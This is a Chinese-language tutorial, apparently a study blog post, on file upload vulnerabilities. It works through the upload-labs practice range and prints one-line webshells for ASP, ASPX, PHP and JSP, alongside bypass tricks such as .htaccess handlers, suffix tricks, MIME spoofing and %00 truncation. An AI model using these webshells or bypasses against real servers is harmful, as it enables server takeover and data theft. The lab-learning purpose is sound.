文件上传漏洞

发布于:2025-04-21 ⋅ 阅读:(16) ⋅ 点赞:(0)

目录

1. 文件上传漏洞

漏洞编号

1.1. 漏洞原理

1.2. 漏洞条件

1.3. Webshell理解

1.4. Webshell种类

1.4.1. 不同脚本类型的一句话木马(重点)

1.5. webshell管理工具

1.5.1. 中国蚁剑(AntSword)

1.5.2. 冰蝎

1.5.3. 哥斯拉(Godzilla)

1.6. 文件上传漏洞绕过

1.6.1. js前端绕过

1.6.2. MIME类型绕过

1.6.3. 黑白名单绕过

1.6.4. 黑名单绕过

1.6.5. htaccess文件

1.6.6. 大小写绕过

1.6.7. 后缀空格绕过

1.6.8. 后缀点绕过

1.6.9. 特殊符号绕过

1.6.10. 路径拼接绕过

1.6.11. 双写后缀绕过

1.6.12. 00截断绕过(白)get型

1.6.13. 00 截断绕过案例(post 型)


文章仅供学习,有问题欢迎指出。

1. 文件上传漏洞

漏洞编号

CVE-2018-18086

  1. web系统没有对文件进行检测或逻辑上做的不够严谨,文件上传这个操作是没有任何问题的,关键是上传之后是如何处理,解释文件的。

危害

文件上传漏洞可能导致以下危害 :

  1. 控制服务器:上传 WebShell 等脚本文件,获取服务器控制权。
  2. 远程命令执行:执行服务器上的任意命令,可能导致数据泄露或破坏。
  3. 内网渗透:利用服务器作为跳板,进一步渗透内网系统。
  4. 挖矿或构建僵尸网络:上传病毒或木马文件,利用服务器资源进行非法活动。
  5. 钓鱼或挂马:修改 Web 页面,进行欺诈或恶意代码植入。

1.1. 漏洞原理

  1. 核心问题
    Web应用允许用户上传文件(如头像、图片、文档等),但未对上传文件的类型、内容、路径、权限进行充分验证,导致攻击者可上传恶意文件。
  2. 常见攻击目标
    • 上传可执行脚本文件(如 .php.jsp.asp)。
    • 上传包含恶意代码的伪装文件(如将脚本伪装为图片 .jpg,但实际内容是PHP代码)。
    • 覆盖服务器关键文件(如配置文件、日志文件)。

1.2. 漏洞条件

满足这三个条件,攻击者就能够成功入侵

◆木马上传成功,未被杀;(后缀和内容未严格过滤)

◆知道木马的路径在哪;

◆上传的木马能正常运行(解析)并且访问。

1.3. Webshell理解

webshell可以理解为网页后门,它可以是php,asp,jsp等类型文件,攻击者常常在侵入一个网站后将这种类型的文件与普通文件混一起,以不便查找,隐蔽性较强,可以轻松穿越防火墙,访问 WebShell 时不会留下系统日志,只会在网站的 web 日志中留下一些 数据提交记录。

1.4. Webshell种类

webshell根据脚本分为php脚本木马,asp脚本木马,jsp脚本木马,aspx脚本木马,python脚本木马

  1. 大马

体积大,功能全,可以调用系统关键函数,以代码加密进行隐藏

  1. 小马

体积小,功能少;一般只有一个上传功能,用于上传大马

  1. 一句话木马

代码短;使用场景大,可单独生成文件,可插入文件;安全性高,隐藏性强,可变形免杀;框架不变,数据执行,数据传递;(像文章开头的php一句话木马)。

可以使用webshell管理器进行连接,也可指webshell是一句话木马

  1. 打包马

主要用于打包网站源码

  1. 拖库马

主要用于导出网站数据库

  1. 内存马

无文件落地;极难检测和发现;难以清除

1.4.1. 不同脚本类型的一句话木马(重点)

ASP:<%eval request("cmd")%>

ASPX:<%@ Page Language="Jscript"%><%eval(Request.Item["cmd"],"unsafe");%>

PHP:<?php @eval($_POST['cmd']);?>

JSP:<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

1.5. webshell管理工具

1.5.1. 中国蚁剑(AntSword)

中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全 人员以及进行常规操作的网站管理员。任何人不得将其用于非法用途以及盈利等目 的,否则后果自行承担!使用编/解码器进行流量混淆可绕过 WAF,并且有多款实用 插件。项目地址: https://github.com/AntSwordProject/antSword 

1.5.2. 冰蝎

Behinder冰蝎是一款基于 Java 开发的动态二进制加密通信流量的新型 Webshell 客户端,由于它的通信流量被加密,使用传统的 WAF、IDS 等设备难以检测,目前在 HVV 中使用较 多的一款工具。项目地址: https://github.com/rebeyond/Behinder

我这里使用的是冰蝎4.0 因为3.0版本无法用我电脑的Java版本启动

注:使用的Java版本不同对启动也有影响

1.5.3. 哥斯拉(Godzilla)

哥斯拉是一款继冰蝎之后又一款于 Java 开发的加密通信流量的新型 Webshell 客户端,内置了 3 种有效载荷以及 6 种加密器,6 种支持脚本后缀,20 个内置插件,也是目前在 HVV 中使用较多的一款工具。项目地址: https://github.com/BeichenDream/Godzilla

Java环境打开 Java -jar 文件名

点击管理,生成,可以选择生成脚本,类型自己选择

1.6. 文件上传漏洞绕过

上传一句话木马到服务器,并使用webshell管理工具连接。

接下来对靶场进行实操,burp、蚁剑工具是关键

1.6.1. js前端绕过

漏洞特征:根据前端检验文件类型,(像我们的检查文件后缀名)

绕过方法:

  • 使用burp拦截,修改文件后缀(如下实验)

upload-labs pass-1

第一题,上传一句话木马,弹窗不允许上传,并且使用bp没有抓到包,说明在前端就被拦截了,没有传上去,按照js显示,更改文件后缀试试。

当我们更改后缀名后它可以成功上传,但是我们想要使用webshell连接,只有php,jsp等文件,才能连接成功,因此在上传的时候使用bp拦截上传的信息,并在bp上改文件名放包。

上传成功后,访问上传文件,访问成功,代表上传成功,之后使用蚁剑连接

切记:地址是上传文件所在地址,并且文件名,不要使用汉字

1.6.2. MIME类型绕过

漏洞特征:后端对HTTP包中的content-type进行检验,它后端要求的只能image/png这种文件而我上传的文件是(如图所示)

过方法:修改Content-Type 为合法类型,改为image/png

第二关:

我们直接上传一个php文件,它表示文件上传错误。而我上传一个png文件它却上传成功,说明他们之间有关联

上传图片后成功

对比两者之间content-type不同,将上传php时的修改为png的type,php文件上传成功。

后续操作与第一关相同

1.6.3. 黑白名单绕过

3到10关都是黑名单

黑名单就是后端代码中有的,就是上传不了

白名单就是代码中有的,才能上传成功

1、基于白名单验证:只针对白名单中有的后缀名,文件才能上传成功。

2、基于黑名单验证:只针对黑名单中没有的后缀名,文件才能上传成功。

1.6.4. 黑名单绕过

特征:后端禁止.php\.asp等后缀文件上传

绕过方法:使用php5\phtml后缀名(但是需要服务器支持解析)

在第三关中,

当我上传完php文件后,它说不允许上传什么什么,说明这些后缀文件是被拉入黑名单了,既然如此那就换一个

这种时候,我们可以上传一些其他后缀,且服务器可以解析的文件,我们查看一下服 务器中的配置文件可以解析什么文件。(实战中无法查看服务器的配置文件,只能靠猜 测尝试)

除了 php 后缀以外,还可以上传 phtml 和 php5 后缀的文件,如果配置文件中这项配置被注释了,或者除了 php 没有其他的后缀可以解析,则无法使用该方法进行绕过。

使用bp拦截,改为php5后上传成功

1.6.5. htaccess文件

  • 漏洞特征:黑名单过滤不彻底,且路径存在截断漏洞。
  • 绕过方法
    • 利用空字节截断(如 shell.php%00.jpg,依赖PHP版本 < 5.3.4)
    • 也可以使用.htaccess文件的方法

pass-4

我们观察源码得知关于一句话木马的文件都被拉入黑名单了(当然也上传过,再看源码)因此我们需要一个可以使我们上传任意包含一句话文件解析的文件,它可以使我们上传的png图片也可以进行木马连接

htaccess文件它是apache服务器中的配置文件,负责相关目录下的网页配置。

创建.htaccess文件,内容为:SetHandler application/x-httpd-php,并上传。只有这样,在我们第二次上传png类型文件时,后台将文件当php用(为什么不能直接传php,而是png可以,因为试过了)

其中.htaccess 文件内容: SetHandler application/x-httpd-php 设置当前目录所有文件都 使用 PHP 解析,那么无论上传任何文件,只要文件内容符合 PHP 语言代码规范, 就 会被当作 PHP 执行。不符合则报错。 SetHandler application/x-httpd-php 在 Apache 中如果需要启动.htaccess,必须在 http.conf 中设置 AllowOverride

创建.htaccess。并上传

然后再上传一个2.png文件(一句话木马),成功(使用命令失败的原因就是php版本过高

1.6.6. 大小写绕过

pass-5

  • 漏洞特征:黑名单未统一处理大小写(如禁止 .php 但允许 .PHP)。
  • 绕过方法
    • 上传 .Php.PHP(适用于Windows服务器)。

我使用直接上传php文件表示失败,我上传htaccess文件也被限制,那么png类型的文件肯定是不行(能上传)(实战只能一个一个试),

因此我换一个方式将php改为PHP,再上传显示成功。(最简便的方法是使用bp拦截更改放包

再验证一下是否能操作phpinfo函数,成功

1.6.7. 后缀空格绕过

pass-6

  • 漏洞特征:未过滤文件名末尾的空格(如 yjh.php )。
  • 绕过方法
    • 文件名后添加空格(如 yjh.php ,上传后服务器可能自动去除空格)。
    • 使用bp拦截,在文件名后加空格。

当使用上面几关的方法都不成功后,发现相比前面几关第六关没有对文件后缀名去空,因此可以在后缀名加空格,

上传成功,使用phpinfo

1.6.8. 后缀点绕过

  • 漏洞特征:未过滤文件名末尾的点(如 yjh.php.)。
  • 绕过方法
    • 文件名后加点(如 yjh.php.,上传后服务器可能自动去除点

pass-7

在第七关中,它具有去除首尾空格,特殊符号,转换大小写的功能,但是并没有去除文件后边.的,因此可以使用在后缀后面加上点

加上点后放包

上传成功

老规矩,检测

1.6.9. 特殊符号绕过

特殊符号::$DATA

pass-8:

和前面三关形成对比,这一关是没有将特殊符号去除

即当我们加上特殊符号在后缀名后面即可绕过

使用bp拦截更改,放包

访问图片链接,发现错误,在url将特殊符号删除

成功

1.6.10. 路径拼接绕过

pass-9

原理:

代码先是去除文件名前后的空格,再去除文件名最后所有的.,再通过 strrchar 函数来 寻找.来确认文件名的后缀,但是最后保存文件的时候没有重命名使用的原始的文件名,导致可以利用 1.php. .(点+空格+点)来绕过

  • 漏洞特征:上传路径未校验,允许用户控制部分路径。
  • 绕过方法
    • 构造路径穿越(如 ../../yjh.php)。

对代码进行分析,可得上传后的文件没有经过随机化重命名,直接保存在服务器上。

上传成功

老规矩

1.6.11. 双写后缀绕过

passd-10

  • 漏洞特征:过滤策略为删除敏感后缀(如替换 .php 为空)。
  • 绕过方法
    • 双写后缀(如 shell.pphphp,过滤后变为 shell.php)。

上传一个php文件,上传成功,但是后缀名被吞了,说明将.php给替换了,

接下来使用方法.pphphp实施绕过

老规矩

1.6.12. 00截断绕过(白)get型

0x00是16进制表示方法

%00

实验条件:

  • 做该实验时,php版本需要在5.3.4以下,因为之后就被修复了。
  • 在小皮参数配置中php 的 magic_quotes_gpc 为 OFF 状态

原理:

  • 对get请求路径进行修改,在url编码中,函数处理会将0x00当作结束符
  • 我们上传文件时,文件的路径会拼接在原本保存路径,但当在原本路径添加所需后缀名并使用00截断时,上传文件将以添加的文件实行。

pass-11

上传php文件失败

只允许什么什么文件,说明可能是白名单,只能按照它所允许的上传,所以我们上传png文件,并使用bp拦截,改包,把路径更改,并添加%00,它将会截至到符号前,不会将我上传的png文件名接后面

取一个名,并%00

上传成功,访问,将php后面的都删除,继续访问

成功

1.6.13. 00 截断绕过案例(post 型)

pass-12

在post请求中,%00不会被自动解码,需要在bp的hex16进制中修改(手动改)

但原理和get相同

加上空格的原因是我们等一下就要在代表空格这个16进制那里修改

打开旁边hex窗口,找到相应位置

找到空格所对应进制码,改为00既可

放包,验证,成功


网站公告

今日签到

点亮在社区的每一天
去签到